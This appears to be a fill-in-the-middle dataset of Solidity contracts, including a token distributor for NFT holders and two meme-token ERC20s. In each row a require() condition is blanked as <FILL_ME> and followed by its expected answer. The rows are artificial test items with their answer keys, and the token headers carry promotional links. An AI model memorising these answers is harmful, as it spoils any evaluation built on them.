function closed () external view returns (bool)
{
}
function deadline () external view returns (uint256)
{
}
function remaining () external view returns (uint256)
{
}
function claim () external nonReentrant
{
require(<FILL_ME>)
require(tx.origin == msg.sender, "!seabug");
require(block.timestamp < _DEADLINE && _distributed < _CAP, "closed");
uint256 balance = IERC721Enumerable(_LOBS).balanceOf(msg.sender);
require(balance >= 2, "shrimp");
uint lob;
bool lobstered;
for (uint256 i; i < balance;)
{
lob = IERC721Enumerable(_LOBS).tokenOfOwnerByIndex(msg.sender, i);
if (_validated.get(lob))
{
lobstered = true;
}
_validated.set(lob);
unchecked { i++; }
}
if (!lobstered)
{
_distributed += 2e18;
_lobsters[msg.sender] = 2e18;
IERC20(_GLOVE).mint(address(this), 2e18);
}
_lobster[msg.sender] = true;
emit Claim(msg.sender);
}
function lobster (address account) external view returns (bool)
{
}
function _cleanup () private
{
}
function collect () external nonReentrant
{
}
}
| !_lobster[msg.sender],"lobster" | 178,718 | !_lobster[msg.sender] |
"!lobster" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import { BitMaps } from "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import { IAccessControl } from "@openzeppelin/contracts/access/IAccessControl.sol";
import { IERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import { ReentrancyGuard } from "./utils/ReentrancyGuard.sol";
import { SafeToken } from "./utils/SafeToken.sol";
import { IERC20 } from "./interfaces/IERC20.sol";
contract Distributor is ReentrancyGuard
{
using SafeToken for IERC20;
using BitMaps for BitMaps.BitMap;
address private constant _GLOVE = 0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284;
address private constant _LOBS = 0x026224A2940bFE258D0dbE947919B62fE321F042;
uint256 private constant _CAP = 1066e18; // LOBS + 1
uint256 private immutable _DEADLINE;
BitMaps.BitMap private _validated;
bool private _closed;
uint256 private _distributed;
mapping(address => bool) private _lobster;
mapping(address => uint) private _lobsters;
event Claim(address lobster);
event Collect(address lobster);
constructor ()
{
}
function closed () external view returns (bool)
{
}
function deadline () external view returns (uint256)
{
}
function remaining () external view returns (uint256)
{
}
function claim () external nonReentrant
{
}
function lobster (address account) external view returns (bool)
{
}
function _cleanup () private
{
}
function collect () external nonReentrant
{
require(<FILL_ME>)
require(_distributed >= _CAP || block.timestamp > _DEADLINE, "!closed");
_cleanup();
_lobster[msg.sender] = false;
IERC20(_GLOVE).safeTransfer(msg.sender, _lobsters[msg.sender]);
emit Collect(msg.sender);
}
}
| _lobster[msg.sender],"!lobster" | 178,718 | _lobster[msg.sender] |
null | /**
_______ _ _ _______ _______ _______ _ _ _ _ _______
|_____| |____/ |_____| | |______ | | |____/ |_____|
| | | \_ | | | ______| |_____| | \_ | |
Telegram, Twitter: @AkatsukaERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Akatsuka is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Akatsuka";
string private constant _symbol = "AKA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _allianceAddress = payable(0x665150A3eDbC1f4b6CDA0a236C5d5C4D0638F3A3);
address payable private _buybackAddress = payable(0x665150A3eDbC1f4b6CDA0a236C5d5C4D0638F3A3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| _msgSender()==_allianceAddress||_msgSender()==_buybackAddress | 178,927 | _msgSender()==_allianceAddress||_msgSender()==_buybackAddress |
"Buy fee can't go higher than 8" | /**
Devotion to something that we strongly believes,
something philosophical that have changed our lives to this day,
a force strong enough to move the world.
Welcome to Himitsu no Karuto
Website : https://www.himitsunokaruto.com/
Telegram : https://t.me/HimitsuNoKaruto
Twitter : https://twitter.com/KarutoERC
Medium : https://medium.com/@himitsunokaruto/himitsu-no-karuto-%E7%A7%98%E5%AF%86%E3%81%AE%E3%82%AB%E3%83%AB%E3%83%88-85b95248c607
Reddit: https://www.reddit.com/user/HimitsuNo_karuto/comments/zpoyqa/himitsu_no_karuto_karuto_devotion_to_something/
Buy/Sell Tax: 2%/2%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Karuto is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "Himitsu no Karuto";
string private constant _symbol = "$Karuto";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 2500000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply;
uint256 public _maxWalletAmount = _totalSupply;
address public marketingWallet;
uint256 maxGwei = 28 * 1 gwei;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approved() public virtual {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(<FILL_ME>)
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
function setMaxGwei(uint256 newMaxGwei) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
}
function isIncludedFromFee(address account) public view returns(bool) {
}
function blacklistBots() public onlyOwner {
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) private {
}
}
| newLiquidityBuyFee.add(newMarketingBuyFee)<=8,"Buy fee can't go higher than 8" | 179,122 | newLiquidityBuyFee.add(newMarketingBuyFee)<=8 |
"Sell fee can't go higher than 8" | /**
Devotion to something that we strongly believes,
something philosophical that have changed our lives to this day,
a force strong enough to move the world.
Welcome to Himitsu no Karuto
Website : https://www.himitsunokaruto.com/
Telegram : https://t.me/HimitsuNoKaruto
Twitter : https://twitter.com/KarutoERC
Medium : https://medium.com/@himitsunokaruto/himitsu-no-karuto-%E7%A7%98%E5%AF%86%E3%81%AE%E3%82%AB%E3%83%AB%E3%83%88-85b95248c607
Reddit: https://www.reddit.com/user/HimitsuNo_karuto/comments/zpoyqa/himitsu_no_karuto_karuto_devotion_to_something/
Buy/Sell Tax: 2%/2%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Karuto is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "Himitsu no Karuto";
string private constant _symbol = "$Karuto";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 2500000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply;
uint256 public _maxWalletAmount = _totalSupply;
address public marketingWallet;
uint256 maxGwei = 28 * 1 gwei;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approved() public virtual {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(<FILL_ME>)
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
function setMaxGwei(uint256 newMaxGwei) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
}
function isIncludedFromFee(address account) public view returns(bool) {
}
function blacklistBots() public onlyOwner {
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) private {
}
}
| newLiquiditySellFee.add(newMarketingSellFee)<=8,"Sell fee can't go higher than 8" | 179,122 | newLiquiditySellFee.add(newMarketingSellFee)<=8 |
"Minting this many would exceed supply!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
/*
,---,. ____
,' .' \ ,' , `. ,--,
,---.' .' | ,---, .--. ,-+-,.' _ |,--.'| ,---,
| | |: | ,-+-. / |.--,`| ,-+-. ; , ||| |, ,-+-. / |
: : : / ,---. ,--.'|' || |. ,--.--. ,--.'|' | ||`--'_ ,--.'|' |
: | ; / \| | ,"' |'--`_ / \ | | ,', | |,,' ,'| | | ,"' |
| : \ / / | | / | |,--,'| .--. .-. | | | / | |--' ' | | | | / | |
| | . |. ' / | | | | || | ' \__\/: . . | : | | , | | : | | | | |
' : '; |' ; /| | | |/ : | | ," .--.; | | : | |/ ' : |__ | | | |/
| | | ; ' | / | | |--'__| : ' / / ,. | | | |`-' | | '.'|| | |--'
| : / | : | |/ .'__/\_: |; : .' \| ;/ ; : ;| |/
| | ,' \ \ /'---' | : :| , .-./'---' | , / '---'
`----' `----' \ \ / `--`---' ---`-'
`--`-'
*/
// token
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
// security
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// utils
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
contract Benjamin is ERC721, AccessControl, ReentrancyGuard, ERC721Burnable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
using Counters for Counters.Counter;
using SafeMath for uint256;
// mint
bool public liveMint;
